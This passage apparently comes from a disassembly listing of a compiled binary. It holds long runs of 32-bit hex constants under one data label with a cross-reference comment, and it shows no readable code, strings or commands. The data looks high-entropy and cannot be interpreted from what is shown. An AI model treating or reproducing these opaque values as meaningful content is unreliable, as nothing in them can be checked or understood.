		dd 304C837Bh, 7CE22F4h,	8BD354C3h, 0AF79B4D1h, 1F2CF712h
		dd 372809BAh, 897D435Ah, 0C96BB8B1h, 81FC82F9h,	0A75A652Dh
		dd 138F3A80h, 0E6A8279Fh, 7B400DE9h, 3C899D5Fh,	8D5B81C2h
		dd 0B60D9603h, 0B3205C7Eh, 8AAF5B5Eh, 0AE03073Ch, 0D21A38C2h
		dd 937FC0Ah, 3DF3769h, 0B9CFC68Fh, 942F1F4Eh, 0D90814A3h
		dd 3EE6012Dh, 485CF522h, 0D79E4E2Ch, 0D43EB1ABh, 0ECCBBFCBh
		dd 0C1657D5Ah, 5F54EB30h, 4B189855h, 0AA60843Ah, 87C555A6h
		dd 0E91F431Ch, 1E51F126h, 0E8812B50h, 5902E491h, 409F1A75h
		dd 97FA845Fh, 4F9231F9h, 9F054780h, 637A2D56h, 532E43E6h
		dd 9308C158h, 0C8200E6Dh, 0FEACEFE4h, 0C5818A70h, 12082672h
		dd 9B702F21h, 10DD0882h, 487468A1h, 5884811h, 267D023Dh
		dd 5F58D892h, 96C04FCAh, 0E125725h, 0B4015B95h,	0CA613AA5h
		dd 0E963D03Eh, 0FB3A6E72h, 8D219602h, 607B4ECDh, 0C8E95EF2h
		dd 5401062Fh, 0FE3CC49Fh, 0E909889Ah, 5F76C0B2h, 1FE853E4h
		dd 216205C9h, 205B7055h, 0E2A0BED6h, 193D2CE1h,	0DDF69366h
		dd 0A88887ADh, 0CF905649h, 753058BDh, 0C2EC2FEFh, 0C7017312h
		dd 59FB0D05h, 482336A4h, 7D913DEh, 0B08C7A52h, 7E5726E9h
		dd 4E0D8062h, 0CA811307h, 0AD62CD3Ah, 70A0D542h, 4E3C0A29h
		dd 572BE91Bh, 63B6067Fh, 0CE5A2E38h, 0E33F0309h, 39655754h
		dd 66680730h, 0E96BA86Ah, 8D839F0Eh, 0F9100C33h, 0FC4F72B5h
		dd 0CE904E9Bh, 42475259h, 0E4D9013Bh, 37E9CB33h, 401C91AFh
		dd 8B22E5BFh, 3CA9DBE9h, 0F9E20B7Fh, 0B0FFE90Bh, 80DE0F25h
		dd 0D377C781h, 1E0C813h, 0CEA0540h, 0B7197E67h,	1BC27005h
		dd 40B81C08h, 0E92C6027h, 42967B9Dh, 655AB701h,	7A6C2CCCh
		dd 9F0F194Ch, 316CFEF2h, 0D7168958h, 0C7C792E9h, 65EA2475h
		dd 4E8B8EA2h, 245F75AAh, 0BFF6BBEAh, 0FF70AA4Fh, 99856CE9h
		dd 5D29B253h, 7515C27Fh, 7D69865Bh, 0BD661890h,	0BA405B81h
		dd 5C361DCAh, 277E0475h, 0C4E663B0h, 4927C77Ah,	49EB56D7h
		dd 45208AD8h, 9F5871D0h, 0A620FEDAh, 36050237h,	9F480EEh
		dd 3A4D0361h
dword_4F0044	dd 251C6CE8h, 19C3D08h,	0D8414DE9h, 0C7BA3044h,	8F5E320Bh
					; DATA XREF: ___:00438124o
		dd 0DC970633h, 71557618h, 350CC0EEh, 2FFB37B8h,	80885CB5h
		dd 8F43D82Dh, 6CF0250Ah, 35725701h, 0CD489C27h,	5E02C16Fh
		dd 9EBB0090h, 22F80061h, 7DA2CB81h, 4B1C5A3Ch, 5EF854E9h
		dd 7668A642h, 15A90F25h, 0ED8067C0h, 0E501D0E8h, 2823B652h
		dd 9AEF5AF5h, 3FB26CA2h, 0C31F38B0h, 0AABBB958h, 0EBF2EB3Ah
		dd 605F10BFh, 28C0EA07h, 0C275DA7Eh, 6B827195h,	4F4D05DFh
		dd 0B7F631BFh, 56C2EABFh, 0C01B9E7Fh, 510EB326h, 0E913D988h
		dd 5AA7DE9Ah, 0FC3DB04Ah, 0BEE5F94Eh, 0CB9B2C6Eh, 86A31B5Eh
		dd 6B32BB4Bh, 64A0DD13h, 512879EEh, 31D07B4Ch, 5EF355B4h
		dd 0AE2A813Bh, 7B77A7BAh, 0C8B2BC44h, 6801E620h, 8F6A15E7h
		dd 48E912E0h, 77E55C5Ah, 0E925FEBCh, 6851C07Ah,	87365DEFh
		dd 0ED6C0181h, 3929F44Eh, 58785213h, 0E95051C1h, 2E8E97CDh
		dd 2CE4CE21h, 0C515F828h, 95CB8C0Ah, 5057AE61h,	0C179C8B8h
		dd 54BF281Ah, 0E241F70Bh, 1C3511Bh, 0B1A76CD3h,	6F7956A9h
		dd 0E848A69h, 27751725h, 92400B81h, 9B0B87BEh, 71877B24h
		dd 8D48FF9h, 6171748h, 48F7EFh,	0A16EF9B8h, 2D402D4Ch
		dd 0E406D3Ah, 8A14C335h, 1683AC16h, 42F69B08h, 0CA4B3A3Ah
		dd 0AE2B5F53h, 0C98C8B26h, 0BC5F9694h, 68510590h, 770749E0h
		dd 53527583h, 0C0E9E8A0h, 0C8B2874Fh, 5693ED02h, 42D62E1Ch
		dd 4A19E501h, 0B6E312Dh, 25CCD778h, 610253BDh, 6A2BD1E9h
		dd 0DC2E08E6h, 8007125Ch, 0A8DA40BFh, 2FE9F80Ch, 0C9F7476Dh
		dd 64D75FA4h, 12D7F405h, 6017B868h, 966D9539h, 0DF014802h
		dd 552FDCE9h, 7EAE95E7h, 65717901h, 53205E45h, 0C9775937h
		dd 0BEB24F8Eh, 9D687A21h, 0B24BDD2Ch, 64A09266h, 0ADC44F41h
		dd 0C680C08Ah, 0EAFE286Dh, 496AEBEEh, 0F6A12C4Fh, 0E8736025h
		dd 51703511h, 5003177h,	0DC26EF33h, 81CF1AE9h, 0EAD945C1h
		dd 2DD013C0h, 4BF20D57h, 607C2166h, 0D81322BAh,	0D0FE4567h
		dd 0AA19B784h, 80296B22h, 5B96E908h, 0D24725DEh, 0FC487BC2h
		dd 0FAB7BAB1h, 0EA3A731Fh, 860CC120h, 4C77D568h, 0CC5A8882h
		dd 355340EBh, 1BFF9755h, 77482158h, 0E91721B2h,	0BBB4E1A3h
		dd 7B309819h, 0B943240Ah, 51508EC6h, 0A44782C0h, 0EE09B819h
		dd 0AE3962CFh, 96CCB55Ch, 21891EF8h, 2F15703h, 7A4B2CCh
		dd 38A5795Dh, 0E94D38F9h, 40A8414Bh, 0AA3CAF6Ah, 745E057Bh
		dd 1587780h, 0A53B8C2h,	77ED24F2h, 0E5CB09EAh, 0BD602D7Ch
		dd 4F961B94h, 0C30CC457h, 22250F9Dh, 82E57C5Bh,	30072753h
		dd 0F280DF85h, 7AD88415h, 50A29E14h, 43A431C5h,	995EAB09h
		dd 60715A8Eh, 0C3D73EECh, 663BBD16h, 658C5EAh, 782C7895h
		dd 0EA713BEh, 0E07A0814h, 2F6800Bh, 1516D1Eh, 3003E6C1h
		dd 5940DA43h, 0B6F4A0B2h, 0F366BF09h, 129DFE74h, 6F7AD710h
		dd 5AD3DC95h, 5D68B65Fh, 0A84B9B44h, 39904FA4h,	3AC208F9h
		dd 94ACE90Bh, 7B05602Eh, 0BB7D5BA7h, 4BACAA20h,	2CD9A5BEh
		dd 3D050286h, 0C5502028h, 0CFD6A7EDh, 93F8D4A7h, 0E5F8095Ch
		dd 5C954E50h, 0F0C25AF1h, 757AAC76h, 4530DB64h,	0ACC2D31Bh
		dd 9D42E87Bh, 0B2BF8BE0h, 588344B7h, 0BB253052h, 0C0B69491h
		dd 80076EB4h, 0F42840ECh, 5A51C457h, 0B362E530h, 0FAC5C2DFh
		dd 8B7025E9h, 0E17A51B5h, 0BBA01EE9h, 0BE5D18E7h, 3FE8B60Ch
		dd 63ACF730h, 774A751h,	80F94578h, 0C078B551h, 30BA73F4h
		dd 0F068D80Bh, 0ADC9711Fh, 53FAB5D2h, 81C14E4Dh, 1A3B18AAh
		dd 4E2CF970h, 4BACE27Eh, 0EE4BF0A8h, 37503469h,	0BF010A0Bh
		dd 57492759h, 0F71DF199h, 11B2448h, 3B4A0B0Ah, 8220E181h
		dd 0D04E58B0h, 2A5BB80Eh, 88C5EB32h, 0E87DEDE8h, 0C4371E0Dh
		dd 0B1A09264h, 0DD9A01F8h, 2E07246h, 7313F5C8h,	59F24801h
		dd 6C649D28h, 5F5A0826h, 77A2DA27h, 18152DD6h, 53E47FD6h
		dd 4359682h, 8473C766h,	0F476A1D5h, 0ACBB757h, 6818305Bh
		dd 42BFB0h, 584BBFCCh, 0C01F070Bh, 4BEC6828h, 0EE408C08h
		dd 167A064Ch, 0ED4385E9h, 0C18EE780h, 3583E39Eh, 2A1E5DF8h
		dd 0ED25557Dh, 7A6E5EB9h, 43897456h, 5CE63029h,	707A2635h
		dd 300117A2h, 8644C45h,	0DBE93A3Eh, 0AB4D100h, 0E6D0E480h
		dd 0FE7D0FF4h, 50BC0C4h, 30D23481h, 6DC820FCh, 0C0A83E4Bh
		dd 8687E2E7h, 60923651h, 0B55E33E0h, 0BB621376h, 205F9307h
		dd 6C97B756h, 0A49D30EAh, 2E06C36Dh, 0B50DF93Dh, 0B1C0CBE1h
		dd 5B2DC17Dh, 0FD94E15Ah, 5B842B97h, 307CF3A6h,	0E737467Dh
		dd 4C2462CCh, 3C02AD4Fh, 7DB5F39Dh, 0B37DFA62h,	0EDE04AE5h
		dd 8CFDD2AEh, 0B16A3210h, 0C52F56E9h, 44E69922h, 68844377h
		dd 17276DC9h, 0B510507Bh, 84E95DF6h, 0B2AFBB3Ah, 0D7682C5Bh
		dd 0F564A909h, 0DCEEC8B0h, 43AB2A12h, 5BB33715h, 25F72FFh
		dd 0D8AB5C25h, 0DA49D1B6h, 429E1236h, 0F34564AEh, 0D7E9137Eh
		dd 0C1886281h, 0A59CBC8h, 427E6852h, 0AC4069E4h, 0BAD7EC1Dh
		dd 6B10C3E8h, 0D0AE5003h, 275C9740h, 0EED2EF81h, 5D602BFh
		dd 92FB5DD6h, 0A9632882h, 5F8AF572h, 4E6212C2h,	0AEE6C1ECh
		dd 0B9040E48h, 6ED03E7Ch, 72FC24C0h, 0ACC65A89h, 0E5BC16A2h
		dd 16809E34h, 0BD1270E0h, 4F78B1C0h, 0F29C6FEEh, 466C3509h
		dd 6BC8F2EEh, 2957BE07h, 3290FBF3h, 77D92E90h, 0B9184BA4h
		dd 0CC5E59C8h, 499406A4h, 0F0F1BF1Dh, 177607BDh, 21CF2F26h
		dd 225A035Dh, 0BBA68F41h, 0E5C69C3Fh, 244AB96h,	39296649h
		dd 0A70F6ED6h, 0EA83206Bh, 4A44E901h, 0E5793059h, 25458811h
		dd 62950B40h, 0C476E3Bh, 22CC33A2h, 17FAB9C1h, 5DEB9F62h
		dd 45BDBCC4h, 0D0B7260Bh, 69B8E831h, 0A741A3B0h, 5E69C860h
		dd 0D744A8BBh, 0D1530206h, 1219D623h, 6DD9F1F6h, 1901D308h
		dd 63A65F41h, 34E987D0h, 0C508D5F7h, 9F82FE20h,	23AC8011h
		dd 0A0285B60h, 3A8053B8h, 8D9238A3h, 0EE88AABFh, 18852768h
		dd 0F025865Bh, 460B03F5h, 0D8CE814Bh, 6E00FA2h,	47BD8663h
		dd 0F97C2D92h, 50CFAA30h, 834B3C4Ah, 401201B0h,	0ACA1AD39h
		dd 2F002F23h, 0F84DBC0Dh, 5525054Ch, 4100653h, 73554FAh
		dd 7E6E525Ah, 0DDB05152h, 5EF73921h, 0E5AD724h,	0DDE194E1h
		dd 3C8992E9h, 9356DE3Eh, 26258AA9h, 83EAF61Bh, 58567BE8h
		dd 96D64CC5h, 80C01EA0h, 152B850h, 58C707EEh, 0CF26F931h
		dd 7A416008h, 37240226h, 0FEEDC12Fh, 3F5003CDh,	0E5CB09ADh
		dd 0A642E9F0h, 87DF43C9h, 0F0925EA8h, 7F71552Eh, 12B45288h
		dd 47AE985Ah, 969ABB7h,	8DFA9883h, 5A682FAFh, 0BE8230E5h
		dd 4ABAE8F2h, 0CADF0051h, 941B1F7Ch, 510A2832h,	0D3420A2Dh
		dd 3F270B42h, 904416Eh,	0D03C68CAh, 38EC0086h, 332D7303h
		dd 5701124Fh, 0FE6213E9h, 6E09A825h, 0C572F117h, 0DD57BEBEh
		dd 752644EFh, 0DA6803B3h, 54F1187Eh, 22EF4160h,	39DC550Bh
		dd 3DF98429h, 2D5B8BB8h, 0A8CB2BD9h, 7220FA58h,	0E306F890h
		dd 0C470618h, 2DD503CAh, 0C3217D86h, 0EE6C7422h, 3219023Eh
		dd 57F30178h, 6F97EF40h, 0E9266604h, 31E90E0Ch,	4B092013h
		dd 2BD9747Dh, 57364981h, 0E6195E2Fh, 0F227E2C0h, 92F514B7h
		dd 7851B7E9h, 9555C44Bh, 946C775Ch, 0A1FB01Bh, 0A595E976h
		dd 346B035Eh, 0C013D2Ah, 2E46635Ah, 0D53A09E9h,	0CBE8A8F3h
		dd 8025B25Dh, 0E9FD87A4h, 0CE809FE3h, 0A872D3BBh, 62094E5Eh
		dd 6BB4F129h, 17007F9h
		dd 0C2DBB7C2h, 87521948h, 71792C2Dh, 19FAA679h,	0DCFE2711h
		dd 76B7F0F3h, 0CC1445B4h, 0B241110Fh, 5612822Ah, 9FDE0362h
		dd 729CF425h, 0C825357Bh, 25104D4Dh, 0C77E40BCh, 3FDBCE82h
		dd 0AB3CC2E6h, 87F176D7h, 0EFD2361Eh, 5F929ABFh, 9A2C74FCh
		dd 0F1D65A1Dh, 48BDC809h, 336C27C9h, 0F3E7BDEh,	9B9B793h
		dd 894B2EE8h, 413A336h,	2044904Eh, 0AAF0B5C5h, 0B652460Eh
		dd 16EEC15Dh, 0A9AC6FEh, 726016D1h, 7F821055h, 0A7C28D63h
		dd 0AC124850h, 0B421C368h, 87045F69h, 0E744D4AAh, 2EC140EBh
		dd 0C089E14Eh, 3A09296Ah, 0E75096B9h, 0A242B74Eh, 1B334F5Dh
		dd 84100FB9h, 6C48C848h, 1296E826h, 4ED6A8A6h, 0E9F39EFCh
		dd 687DB1DAh, 2F5712B8h, 0C5DA7E9Bh, 30570882h,	8294CFFEh
		dd 0C5E6C7D8h, 1524617Bh, 5E40A7F8h, 95757C60h,	0F203B6DCh
		dd 0DDB9FA04h, 4C3FB6BEh, 0AE97107Ah, 9E28813h,	0E17A5B7Fh
		dd 0A51FA7Ah, 728C1A9h,	8D9DC6EEh, 34F900Dh, 347C0E47h
		dd 0EEC2FE01h, 5E0C088Ch, 74053613h, 0AEB5C3ECh, 5913EBF6h
		dd 0E036F856h, 0A86E2AE9h, 9EA81ACh, 59BA3329h,	88269DAh
		dd 0F0E0F689h, 4AB6525Eh, 0D20E5A1Dh, 9B50C968h, 6C8CC1ADh
		dd 0CCCC302Eh, 0E2A0F94Ch, 55811F61h, 304FB9ECh, 0F5781EA8h
		dd 35A298Dh, 1F16C7F0h,	0E23A53Fh, 50A148EDh, 3C555377h
		dd 0FBC2A472h, 17627DEAh, 96874CDFh, 95F60819h,	8D85A12h
		dd 0AAF04AFFh, 0EF81A2Dh, 78C99FE6h, 0B58D7AA8h, 7919D502h
		dd 875C03F7h, 64045EEh,	86C9E2C9h, 0C07DF025h, 0BD6499E4h
		dd 11985D23h, 960ED918h, 139FE670h, 170FF02h, 225967D6h
		dd 14B2063h, 4A03711Dh,	0CA69F380h, 20E9AD25h, 0BB0BAE6Dh
		dd 7C67C3h, 7DE74E6Fh, 0C5294E42h, 2A9DE7E8h, 464BD8AEh
		dd 0AA4A67ACh, 0DED52D32h, 685F02ACh, 0EDD92C49h, 0A1400F6Bh
		dd 1767467h, 4B3C2DAh, 0D8FA5808h, 0A5FB7C6h, 9E9A8AB6h
		dd 4A7B1655h, 0B5680187h, 0E4C5FECDh, 0B3BAD5C1h, 60685204h
		dd 6AE6E0Bh, 0F64F2C1h,	61083A9Ch, 0C4800FBCh, 9222D192h
		dd 54B80157h, 48E8A03Ah, 50E63507h, 0D604D99h, 50B41B92h
		dd 0D3F1AB31h, 4698FE8Fh, 46D440C9h, 1B35058h, 0DB728419h
		dd 0C47EF889h, 3EBA8284h, 0FD0F1CDFh, 6BB95CE6h, 4D4CEA70h
		dd 4BCD207Bh, 584BBE5Ch, 6A3E5476h, 1E980008h, 7CE92DA0h
		dd 9970D54Eh, 94453268h, 0AEB1624Dh, 78FF66DFh,	50FF96A9h
		dd 1D267BAFh, 0AB1A8609h, 7664D50Dh, 146B9898h,	0DC26689Dh
		dd 62B92611h, 1C56108Bh, 5EB89C68h, 0F85439EAh,	4F9533A6h
		dd 13339152h, 8E9D27Fh,	0C15FD7DEh, 2FDFF792h, 0BB03EFA6h
		dd 7A18130Ch, 3071CBE1h, 435C360Ah, 57D71DD8h, 0DFE96542h
		dd 0FD2BA911h, 29B922E8h, 79036C00h, 5301F181h,	73597ACCh
		dd 8FB794CFh, 200C3F28h, 79181878h, 0D118397Bh,	17332603h
		dd 0BE0D2C1Dh, 840FD002h, 696497E1h, 0EFBE22FAh, 0F6E28B6Eh
		dd 0F0CBC4B3h, 45FD5D9Bh, 1873E998h, 58A4ADD0h,	495909BFh
		dd 0E95097A3h, 0B8EBFB29h, 93EA5795h, 7B13BB04h, 611EFB16h
		dd 0DFFDAF54h, 0E2B0B3D3h, 5E701C1h, 0A26F781h,	609A4728h
		dd 70E021C6h, 2CEFEB5h,	106822BCh, 0A9200728h, 762D0D9Ch
		dd 1E265B87h, 55C58A62h, 170205ABh, 91EF34Ah, 664DE368h
		dd 10CE1F3Dh, 0FD26BC3Fh, 0D56858C5h, 0AF300F5Bh, 4AC171DFh
		dd 8527EB7Ch, 2007E383h, 0CFFC5C6Eh, 26761209h,	0CB41D727h
		dd 2D39FC6Fh, 38EBF4C0h, 35E92B05h, 87320D7Eh, 0BDA8B494h
		dd 0A0EC1230h, 67EDEC29h, 7A30E12Bh, 2468993Ch,	0C2CB3007h
		dd 5804CB65h, 0C89974BBh, 570915AEh, 7F594E97h,	0B091545h
		dd 0AD51F9F1h, 0B0C93751h, 0D6E7E9F5h, 0ACE40CBDh, 0EA35807Eh
		dd 0C0EE0601h, 0C9FEB209h, 0CAD9E916h, 0A42508B9h, 0C85DC742h
		dd 0E1E28015h, 539A0680h, 54E9C4B7h, 8224F569h,	0CC28EE18h
		dd 416B2CF8h, 1D6C293h,	27094D77h, 25150D6h, 0F94F4B2Ch
		dd 0F2AFE5E4h, 91502D59h, 0ED3E5827h, 92E34925h, 21E61800h
		dd 4FE96E6Bh, 11E1294h,	0D2672AE7h, 20ADEC78h, 7BC352B4h
		dd 4817FBDh, 28BACD2Eh,	69F2FA29h, 0ABF4E9C2h, 780747Eh
		dd 935EFB8h, 0C055B9DFh, 337AC9BBh, 50D9AB58h, 89A546DDh
		dd 58576806h, 0E6E8225Dh, 4C5CC706h, 1E0C16C8h,	4B71198Ch
		dd 0A9FEEFC1h, 23479E03h, 7A1E1E6Dh, 157E2E17h,	0A24FD3C4h
		dd 44FB9234h, 171F9682h, 0E5B4DE81h, 0B2C57183h, 2992A132h
		dd 820825Ch, 0F5E95A25h, 54505682h, 51CBEE76h, 30284EB2h
		dd 88E6B401h, 0DEA566E3h, 0BAA53DC0h, 0B29F1B91h, 0A4685182h
		dd 65B3F607h, 94DCBF6Dh, 3ED04C0h, 0A876C3E9h, 1CDFC0ACh
		dd 0B75D726Eh, 524029D3h, 3E6A4FBAh, 0EA030A68h, 13903595h
		dd 2870D0C1h, 34BEC05Ah, 9D5FF6D8h, 0D101C282h,	7649BE1h
		dd 5737D2F0h, 0BAD0BF05h, 1D6943B5h, 80810206h,	0CB44C8A3h
		dd 0E913F331h, 279DC31Ah, 0E0B4043Ah, 515B0786h, 0D23F4072h
		dd 0F90B30F5h, 0AA6DC2DFh, 7CC6B43Bh, 932DFFB8h, 80A9DA53h
		dd 95295A08h, 8068B0F4h, 0AF11DB4Bh, 0BDC41BD6h, 125A43FCh
		dd 15E3E74Ch, 3AE11DE9h, 13C13C59h, 0EB63DB78h,	0BDC0D152h
		dd 44E44587h, 1C05B95Dh, 2A09EB5Ah, 0D28A5405h,	505A59C4h
		dd 0BA69ABA8h, 5449BA7Bh, 0E9125644h, 21FE84EFh, 65B4B18Ch
		dd 92D86EB9h, 5A324069h, 525EFCB5h, 0C12F15Bh, 5C4278BBh
		dd 6E18E92Ch, 60F4299Ah, 0DF05D480h, 3079EE63h,	618E2D0Ch
		dd 11A2105h, 71705C8h, 96918CA2h, 41CCE986h, 0C5895516h
		dd 880485B9h, 0E8419C6Fh, 5D0740DDh, 8E8B66B6h,	82985F7Bh
		dd 0BA81E7EEh, 0BAAE65B4h, 0D884F931h, 4BD8E26Bh, 927081E8h
		dd 0BA50F19h, 1C6B4930h, 4152DE7Eh, 0A879D467h,	59D3B144h
		dd 4781DF70h, 0F57F7806h, 0B2852ABAh, 5BF78EFFh, 46AF04BAh
		dd 6B0712A9h, 3BC10553h, 0A970F701h, 1E15007Ch,	27EE2D64h
		dd 0D8F86ADCh, 0B9AAF0B7h, 6B80834Fh, 340020B9h, 6E2E3C95h
		dd 0E6E9C631h, 85D69FFCh, 90B96147h, 4E567E11h,	0C113FEEDh
		dd 5489B75Dh, 8970F489h, 0CC4E287Bh, 69B05013h,	0D73ACDE1h
		dd 94E9872Eh, 8961A92Dh, 59DDE401h, 59259676h, 2AAE145Fh
		dd 0BC15D68h, 73B02DB7h, 66DF54F8h, 844971D7h, 274C7F57h
		dd 0D6955C70h, 3A515962h, 59252ECAh, 0BD659E57h, 0E94175E5h
		dd 772C52CDh, 0BE286885h, 7D7DE54Bh, 715F8A62h,	0EE014505h
		dd 75E2E941h, 0B86FCE4Ah, 0D451E16Fh, 13932B2Dh, 8ACA8420h
		dd 4A2B8608h, 75C2091Dh, 520EDED6h, 108FA693h, 5D0CF193h
		dd 0C104D5F7h, 7E03E524h, 0AE22C00h, 73DD2988h,	0DCE3BD5Bh
		dd 0C012FFCCh, 26E90C6Ch, 8FE9996Bh, 0D8045755h, 46B7FAC8h
		dd 0ABB64D7Ch, 2DB07A48h, 0E42D75FBh, 2D73DE15h, 73C20254h
		dd 87985D03h, 0D995B50Ah, 5EB8C095h, 714E7969h,	0F3C09484h
		dd 2C2C4AF9h, 0BD5091Bh, 0CF49B03Ch, 5C06F23Dh,	0A268013Fh
		dd 5816D356h, 0AE26FC05h, 0CBC40C4Eh, 0B8625DC1h, 320FB469h
		dd 829DEC45h, 4B1AA1C3h, 588205C2h, 86DED1C2h, 5406E62h
		dd 0CFA2AE5Fh, 56F768C2h, 0BEA59855h, 95E98359h, 712F365Fh
		dd 6F147402h, 0DDDF7CE9h, 0C1767C64h, 1AB03D2h,	63D6ACB6h
		dd 0B0992E31h, 4A7AB882h, 6E004010h, 5EF22DD0h,	8CAB701h
		dd 1ED92AE9h, 0ACCF1E57h, 3FCC3EE5h, 1F0B77Fh, 84086793h
		dd 0A6DF0FC8h, 16FFEDDFh
		dd 1FD064C6h, 8B7CA25Ah, 680F15Ch, 2ACFB8E9h, 6FA61AA1h
		dd 3508CD31h, 0C0DD5802h, 4306D9h, 8149592Fh, 78458FC9h
		dd 407DC3BFh, 348B8704h, 0B0BE7F47h, 0E918F882h, 0BFDF3B27h
		dd 26772671h, 0E8EF147Eh, 0D410973h, 17805016h,	7A600AECh
		dd 707781AAh, 0DFC5032Ch, 12AC677h, 4ED85B7h, 0BC9BE908h
		dd 3CA64CFFh, 2D5210E8h, 1513680Ah, 0E25467E7h,	0FE4871FBh
		dd 29809030h, 8D6CB7D9h, 0A24A2EFCh, 5C4CA242h,	1F66407Eh
		dd 0EE17C0E4h, 108A70C2h, 0FB524AF6h, 68020498h, 8CAB3A78h
		dd 1A63DFA3h, 847E5573h, 0B76370ABh, 880651C3h,	0F07FE9FDh
		dd 0EC544A22h, 0A3D51829h, 0C9A5EB3Dh, 90D73166h, 8353E7EDh
		dd 0BD55A0BFh, 0BE5C6B9Dh, 1216104Fh, 3DF8680Bh, 22405D31h
		dd 5EFD4ADFh, 3850680Eh, 6F73BF17h, 31B98404h, 0BF81C7B6h
		dd 411694F6h, 55820697h, 0A30C1C2Fh, 5DD7BAEFh,	2D5D2460h
		dd 0FDC84A9Fh, 0B82D04E5h, 0D6B5A8FBh, 0FCF95CF0h, 27545DA5h
		dd 9CF70970h, 0CD80E3A1h, 0EC531BFh, 0D890CF86h, 8DBD3F6h
		dd 0DDF5E810h, 7DEB4828h, 3896752Ah, 0FF4B232Eh, 32689768h
		dd 51790AEBh, 772DA454h, 0AFF0914h, 0F830FA4Eh,	0F965E901h
		dd 1EF4413Ah, 7B6C6D1Dh, 2B8753C5h, 0D1C83AF3h,	872DC201h
		dd 0B8380193h, 6A154845h, 0E90C40F2h, 0EA51E811h, 376A1B1Fh
		dd 8C282C33h, 86E9EEC1h, 964D0B6Fh, 0BCA6984h, 764F55Ch
		dd 7CA4B82Dh, 0C74172D8h, 5805CA16h, 252F4AC7h,	29EF721Eh
		dd 48A16E5Bh, 8C6EE4C1h, 544B392h, 2F0459A9h, 0D341D389h
		dd 8006F8C0h, 93C1E13Dh, 92B3B3A3h, 2892BF3Ch, 0CD065385h
		dd 76C0CE58h, 5981A3CEh, 9DE0BCD8h, 9484D2EEh, 569F2827h
		dd 807A58A3h, 0E9200C09h, 583CECC3h, 7F9F17F9h,	0CAC99F92h
		dd 860C232Ah, 3721DBE9h, 6BAC65Bh, 14557DB0h, 40D7B904h
		dd 33E4421Ah, 8A6A17A0h, 0A89E1747h, 400CD00Bh,	8997975Fh
		dd 0E31F181Fh, 0B2EA3880h, 0D466FA14h, 0D7EF6878h, 6C02029Dh
		dd 5DC49ADh, 0E9340720h, 0EA80AD5Bh, 48244ADCh,	50095D11h
		dd 704282Ah, 5B83B814h,	0CD81341Fh, 121E0673h, 0EC3EF43Ah
		dd 4A95571Fh, 2B9AF580h, 2FE97CCEh, 47A7B77h, 5271FC1Eh
		dd 58509EE8h, 6BF6DB77h, 0B8E9463Ch, 34EB5A9Dh,	0BA2EBA6Ch
		dd 0BD5FFC5Bh, 56135422h, 8B58A98Ch, 0B768F759h, 5E81A33Bh
		dd 0E56AAC6Fh, 2565A4AAh, 0E837D697h, 5CF4721Bh, 80370A46h
		dd 76A3B8Bh, 685323DCh,	55287209h, 0BCB984FFh, 9F88BB17h
		dd 0E88713FDh, 5A89BCDBh, 0D1D381FDh, 2A52CC30h, 78DF8CA2h
		dd 461AB52Dh, 4389625Eh, 7E30D5EFh, 0A0B03084h,	3D089B31h
		dd 0B493A2B0h, 0ABD9F089h, 0FC5CBF40h, 0AD2760FEh, 0E7C147DFh
		dd 0BB530200h, 31C91C64h, 873667E9h, 61E3F758h,	287E5468h
		dd 3C04961Eh, 6E4AA48h,	0B3E5136Bh, 4FCFF840h, 5AE9ECF0h
		dd 0AD861D96h, 0BECFBC81h, 4737F153h, 6E7D6186h, 6EC12A4Dh
		dd 5D02C741h, 3CB111E0h, 6A0A7B25h, 0A2594065h,	0C0BD83E8h
		dd 2281E3Ch, 0C0570D5Fh, 3B3E6141h, 0A82B0B83h,	22E9F08Dh
		dd 17E9960h, 3E7317CBh,	0AAB47006h, 4D8E6218h, 99A520Ch
		dd 29E9DB1Bh, 2D58BFA0h, 9173335Ch, 0C6D0F8F4h,	6BE90A08h
		dd 0A56BCB8Fh, 0C952EDF8h, 9D21A899h, 0D89C173Ah, 2594CED1h
		dd 52C0F25h, 0AC885968h, 629A5BE2h, 0D3D89F4Dh,	0ACA05BF2h
		dd 429C9DA3h, 0F4AB5545h, 0C072680Dh, 5D77AA13h, 73650114h
		dd 38427F13h, 353B00EBh, 1B181D79h, 577D1BDh, 0F65B6E68h
		dd 8EBF93DEh, 0C0830971h, 0C7B07D02h, 0FC823B4Ch, 23AB8B9Ah
		dd 0F5F6C214h, 0C35B2B60h, 606C7443h, 51770C72h, 2EC261E8h
		dd 0C10B7B69h, 132A1826h, 0B5C7EA06h, 73A3A239h, 0D0B6578Fh
		dd 3DB45EA1h, 0EB06125h, 0F93A31D4h, 78680C9Bh,	0BAF32D44h
		dd 1C4295C4h, 33C7D7C0h, 0DBB0D14Bh, 0FF3616DEh, 4CDE013Ah
		dd 2EBB57C5h, 578B13D2h, 0AE5D0384h, 2CEB598h, 3A970902h
		dd 88A9F756h, 0F7A56654h, 0C820129Ch, 0DD0B95A0h, 0F30F3421h
		dd 1696DC2Ah, 903DF25h,	38BDF031h, 7C84A58Ah, 0A22F1A68h
		dd 235A2524h, 13771E1Eh, 0B32C4EE3h, 6291502Ch,	5E2F3181h
		dd 4C038B60h, 0C52563DBh, 1B77A534h, 3042B96Eh,	61C1AC2Ch
		dd 796E7EE9h, 4E382A6Eh, 642BDE80h, 0B50B5499h,	0C27F686Ah
		dd 0F83FE133h, 1662A93Fh, 0C0014620h, 506606EAh, 0E2C179B4h
		dd 0EB5017DBh, 293A2196h, 0F169A52Eh, 44E74F2Fh, 4E5D0930h
		dd 71AFB871h, 0B30E5F68h, 7A8F1162h, 2081DA8Fh,	0A5DEB808h
		dd 42ABFF0Bh, 8C7E0B05h, 19985284h, 0BBDD8097h,	5FFA1707h
		dd 9E5CAE15h, 0B9D8C81Dh, 27685173h, 0ABD34E16h, 5181C609h
		dd 0F1E64913h, 5D52EA13h, 0E90FC8FBh, 9F5B584Eh, 59959DD6h
		dd 0E688620Bh, 0AC3EF0EDh, 12190B87h, 0AA75424Ch, 0C5A50AB4h
		dd 554C88A3h, 341FC27h,	0D729FB46h, 0B4D0B1E2h,	0F1975A78h
		dd 5053C2CBh, 0A131CED5h, 35007FF3h, 84262312h,	17020F51h
		dd 4015CB0Bh, 13160714h, 0BB09555Dh, 7AD99154h,	40482704h
		dd 0B7D187E9h, 1CDC4B5Dh, 2D0EC079h, 51B4683Eh,	0A90AF098h
		dd 0C2374C67h, 352DA712h, 6EB8D93Fh, 0D185C4CBh, 0A1E027EFh
		dd 6C62A16Fh, 5F5D05D9h, 21C54D44h, 0BE83C30Ah,	56169C6Ah
		dd 4ADFE2A2h, 99EE1676h, 7EAC60F8h, 435D04A7h, 0A281212Dh
